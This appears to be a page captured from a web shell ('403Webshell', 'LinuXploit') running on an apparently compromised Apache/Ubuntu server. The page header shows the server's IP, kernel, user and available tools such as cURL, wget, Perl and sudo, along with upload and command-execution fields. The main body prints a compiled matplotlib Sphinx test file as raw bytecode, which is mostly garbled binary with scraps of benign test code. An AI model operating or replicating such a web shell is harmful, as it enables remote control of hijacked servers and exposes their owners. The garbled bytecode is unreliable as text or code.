403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_sphinxext.cpython-312.pyc
�

G8�c[���dZddlZddlZddlmZddlZddlmZmZddl	Z	ddl
Z
e
jde	jdkrdnd��d	�Z
d
�Zdd�Zy)
z2Tests for tinypages build using sphinx extensions.�N)�Path)�Popen�PIPE�sphinx)��
z4.1.3)�
minversionc�P���t|�dz}tjtt�jdz|�|dzdz�|dz�t
jddddd	t��ttt�jdz�t��g	}t|ttd
itj�dtjd���
�}|j�\}}t|����fd�}�fd�}tdd�D�cgc]
}||���c}\}	}
}t!j"|
|d��sJ�t!j"||d��sJ�t!j"|	|d��sJ�t!j"|	|d��sJ�t!j"|
|d��sJ�t!j"||d��sJ��dzj%�}d|vsJ�t!j"|�dz�sJ�t!j"|
�dz�sJ�d|vsJ�d|vsJ�d|vsJ�d|vsJ�|j'd �d!k(sJ�t!j"|
|d"��sJ�|d#zj%�}
|
j)d$d%�}
|d#zj+|
�d&D�cgc]"}||�j-�j.��$}}t|���t!j"||d"��sJ�|d�j-�j.|d'k(sJ�|d!�j-�j.|dk(sJ�|d(�j-�j.|d!k(sJ�t!j"|	|d��sJ�t!j"|
|d!��sJ�t!j"||d(��sJ�|d�j-�j.|d(kDsJ�t!j"|
|d��sJ�ycc}wcc}w))N�src�	tinypages�_build�html�doctrees�-msphinx�-W�-b�-dT�)�
MPLBACKEND�GCOV_ERROR_FILE��stdout�stderr�universal_newlines�envc����d|�d�zS)N�some_plots-�.png�)�num�html_dirs ��A/usr/lib/python3/dist-packages/matplotlib/tests/test_sphinxext.py�	plot_filez!test_tinypages.<locals>.plot_file%s����K��u�D�1�1�1�c�0���jdzd|�d�zS)N�plot_directiverr)�parent)r �doctree_dirs �r"�plot_directive_filez+test_tinypages.<locals>.plot_directive_file(s#����!�!�$4�4��S�E��7N�N�Nr$������12_00�12_01�
zsome_plots.htmls# Only a commentz
range4.pngz
range6.pngs This is the caption for plot 15.s Plot 17 uses the caption option.s This is the caption for plot 18.s&plot-directive my-class my-other-classs#This caption applies to both plots.��zincluded_plot_21.rstsplt.plot(range(6))splt.plot(range(4)))r*r2rr,rr)r�shutil�copytree�__file__r'�sys�
executable�strrr�os�environ�devnull�communicate�build_sphinx_html�range�filecmp�cmp�
read_bytes�count�replace�write_bytes�stat�st_mtime)�tmpdir�
source_dir�cmd�proc�out�errr#r)�i�range_10�range_6�range_4�
html_contents�contents�modification_timesr(r!s               @@r"�test_tinypagesrUs�����f���%�J�
�O�O�D��N�)�)�K�7��D��H�$�v�-�H��z�)�K��>�>�:�t�T�6���[�!��t�H�~�$�$�{�2�3�S��]�D�C���D��$�K�r�z�z�K���
�
�K�M�D����!�H�C���j�+�x�8�2�O�9>�a���!D�1�)�A�,�!D��H�g�w��;�;�w�	�!��-�-�-��;�;�w�	�!��-�-�-��;�;�x��2��/�/�/��;�;�x��7�!3�4�4�4��;�;�w�	�'� 2�3�3�3��;�;�w�	�"�
�.�.�.�� 1�1�=�=�?�M��-�/�/�/��;�;�w��<� 7�8�8�8��;�;�w��<� 7�8�8�8�.�-�?�?�?�.�-�?�?�?�.�-�?�?�?�4�
�E�E�E����E�F�!�K�K�K��;�;�w�	�"�
�.�.�.��3�3�?�?�A�H���� 5�7L�M�H��(�(�5�5�h�?�$0�1��.�a�0�5�5�7�@�@�1��1��j�+�x�8��;�;�w�	�"�
�.�.�.��q�!�&�&�(�1�1�5G��5J�J�J�J��q�!�&�&�(�1�1�5G��5J�J�J�J��q�!�&�&�(�1�1�5G��5J�J�J�J��;�;�x��1��.�.�.��;�;�w�	�!��-�-�-��;�;�w�	�!��-�-�-��q�!�&�&�(�1�1�4F�q�4I�I�I�I��;�;�w�	�!��-�-�-��m"E��L1s�P�1'P#c�4�t|�dz}|j�tt�j}t	j
|dz|dz�t	j|dz|dz�|dz}|dzjd�|d	zd
z}t|||�d|j�D�cgc]}|j��c}vsJ�|d	zdz}t|||d
dg��d|j�D�cgc]}|j��c}vsJ�ycc}wcc}w)Nrztinypages/conf.pyzconf.pyztinypages/_static�_staticrz	index.rstz#
.. plot::

    plt.plot(range(2))
r
�html1z
index-1.py�html2z-Dzplot_html_show_source_link=0)�
extra_args)r�mkdirr6r'r4�copyfiler5�
write_textr>�iterdir�name)rHrIr'r(�	html_dir1�p�	html_dir2s       r"�test_plot_html_show_source_linkrces���f���%�J�����
�(�^�
"�
"�F�
�O�O�F�0�0�*�y�2H�I�
�O�O�F�0�0�*�y�2H�I��z�)�K��+��)�)�+���X�%��/�I��j�+�y�9��I�,=�,=�,?�@�q�A�F�F�@�@�@�@��X�%��/�I��j�+�y�"&�(F�!G�I��	�0A�0A�0C�D�1����D�D�D�D��
A�� Es�1D�6Dc��|�gn|}tjdddddt|�t|�t|�g	|�}t|ttdit
j�ddi��	�}|j�\}}|jd
k(sJd|�d|�d
���|rtjd|���|j�sJ�y)NrrrrrTrrrrz!sphinx build failed with stdout:
z	
stderr:
�
z-sphinx build emitted the following warnings:
)r7r8r9rrr:r;r=�
returncode�pytest�fail�is_dir)rIr(r!rZrJrKrLrMs        r"r>r>}s���!�)��z�J��>�>�:�t�T�6���[�!�3�z�?�C��M�P�DN�P�C���T�$�4�5��
�
�5�L�"�5�7�D����!�H�C���?�?�a��E�
,�S�E��S�E��D�E��
����D�S�E�J�K��?�?���r$)N)�__doc__r@r:�pathlibrr4�
subprocessrrr7rg�importorskip�version_inforUrcr>rr$r"�<module>rosV��8��	��
�"�
�
�����H�'*�'7�'7�'�'A�t�w�P�Q.�hE�0r$

Youez - 2016 - github.com/yon3zu
LinuXploit